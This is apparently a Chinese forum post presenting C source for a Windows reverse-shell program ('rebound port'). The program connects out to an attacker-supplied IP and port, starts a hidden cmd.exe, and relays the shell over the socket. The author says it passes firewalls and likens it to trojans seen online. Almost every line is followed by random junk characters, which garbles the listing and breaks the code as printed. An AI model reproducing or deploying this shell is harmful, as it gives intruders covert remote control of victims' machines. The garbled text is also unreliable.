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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4XX21<yn  
Fo~C,@/Qt  
/* ============================== mN@0lfk;  
Rebound port in Windows NT :*}tkr4&eh  
By wind,2006/7 ~a/yLI"'g  
===============================*/ hDmVv;M:  
#include ='soSnT  
#include AbcLHV.  
J0o U5d=3  
#pragma comment(lib,"wsock32.lib") _ogT(uYyr  
60X B  
void OutputShell(); ^+,mxV'8!  
SOCKET sClient; #i)h0ML/e  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :,GsbNKW  
5 0~L(<  
void main(int argc,char **argv) s2w .V O  
{ '|WMt g  
WSADATA stWsaData; #-e3m/>  
int nRet; 8&`s wu&  
SOCKADDR_IN stSaiClient,stSaiServer; ^0X86  
] +Gi~  
if(argc != 3) j q1qj9KZ  
{ K")-P9I6-f  
printf("Useage:\n\rRebound DestIP DestPort\n"); Jc{zi^)(EN  
return; #;?z<  
} L$7v;R3  
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WSAStartup(MAKEWORD(2,2),&stWsaData); %9Ulgs8=  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FUq@ dUv  
9W'#4  
stSaiClient.sin_family = AF_INET; ?+`Zef.g  
stSaiClient.sin_port = htons(0); 3z ~zcQ^\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @X1>Wv|[  
1iF |t5>e  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WGp81DNS|  
{  0m*0I >  
printf("Bind Socket Failed!\n"); S1`+r0Fk~n  
return; 0B3*\ H}5  
} w9.r`_-  
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stSaiServer.sin_family = AF_INET; puMpUY  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mE^6Zu  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <7^_M*F9  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F Fg0}  
{ =( Gv_  
printf("Connect Error!"); `$MO.K{  
return; gI\J sN  
} 3+n&Ya1  
OutputShell(); \B2=E  
} `"-)ObOj}  
OmKT}D~ 4  
void OutputShell() Q6}`%  
{ K 7YpGGd5  
char szBuff[1024]; b?HW6Kfc  
SECURITY_ATTRIBUTES stSecurityAttributes; Q&n  
OSVERSIONINFO stOsversionInfo; `' 6]Z*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E$8GXo00v  
STARTUPINFO stStartupInfo;  299; N  
char *szShell; 6Y}#vZ  
PROCESS_INFORMATION stProcessInformation; O a-Z eCq  
unsigned long lBytesRead; 9"MC<  
E;-R<X5n  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "d.qmM  
M-|4cd]6  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oSy[/Y44a  
stSecurityAttributes.lpSecurityDescriptor = 0; 9^Wj<  
stSecurityAttributes.bInheritHandle = TRUE; 5F <zW-;  
pN%L3?2  
S=M$g#X`5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &x;v&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8 kd  
Pf@8C{I  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k[G?22t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cww$ A %}  
stStartupInfo.wShowWindow = SW_HIDE; <VgnrqF6:  
stStartupInfo.hStdInput = hReadPipe; ze,HN Fg@>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,|T   
u-jGv| ,|  
GetVersionEx(&stOsversionInfo); N,Y<mX  
SjG=H%  
switch(stOsversionInfo.dwPlatformId) WERK JA  
{ rxm!'.+  
case 1: 0XXu_f@]9  
szShell = "command.com"; X$%RJ3t e  
break; ZH~m%sA  
default: M@{GT/`Pf  
szShell = "cmd.exe"; X "1q$xwc  
break; }$iH 3#E8  
} n*bbmG1  
KvktC|~?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); GH^i,88  
46}/C5  
send(sClient,szMsg,77,0); PtmdUHvD  
while(1) BnAia3z  
{ Eiz\Nb  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fqvA0"tv  
if(lBytesRead) N}\$i&Vi  
{ 3go!P])  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~?[@KK  
send(sClient,szBuff,lBytesRead,0); F(@|p]3*  
} p,ZubR J"  
else wf8vKl#Kfw  
{ -+ $u  
lBytesRead=recv(sClient,szBuff,1024,0); Mgf80r=  
if(lBytesRead<=0) break; &)\0mpLK9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); hDVD@b  
} <\Y>y+$3  
} b6);bX>e  
pm<<!`w"  
return; }$m_):t@@  
}
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